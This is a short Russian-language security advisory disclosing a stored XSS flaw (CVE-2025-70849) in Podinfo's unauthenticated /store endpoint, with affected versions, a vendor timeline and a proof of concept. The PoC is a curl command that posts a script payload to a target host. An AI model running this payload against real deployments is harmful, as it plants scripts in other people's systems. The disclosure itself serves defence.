CVE-2025-70849: Хранимый XSS в Podinfo

Сводка

Была обнаружена уязвимость безопасности (CWE-79) в Podinfo, веб-приложении для демонстрации микросервисов Kubernetes. Функция /store позволяет неаутентифицированным пользователям загружать произвольный HTML/JS-контент, что приводит к хранимому XSS.

Сведения об уязвимости

CVE ID: CVE-2025-70849
Продукт: Podinfo
Затронутая конечная точка: /store
Тип уязвимости: Хранимый межсайтовый скриптинг (XSS)
Затронутые версии: <= 6.10.0

Доказательство концепции (PoC)

Отправьте вредоносную нагрузку:

curl -X POST https://<target>/store -H "Content-Type: application/text" -d '<html><script>alert("CVE-2025-70849")</script></html>'

Откройте полученный хэш: https:///store/

Хронология

Обнаружение: сентябрь 2025
Уведомление поставщика: 25 октября 2025
Ответ поставщика: Подтверждено; заявлено, что сроков исправления в настоящее время нет.
Публичное раскрытие: февраль 2026

Дисклеймер Данное исследование предназначено только для образовательных целей.

Исследователи :

Kazi Sabbir | Shafayet Ahmed Alif

CVE-2025-70849-Podinfo

Популярное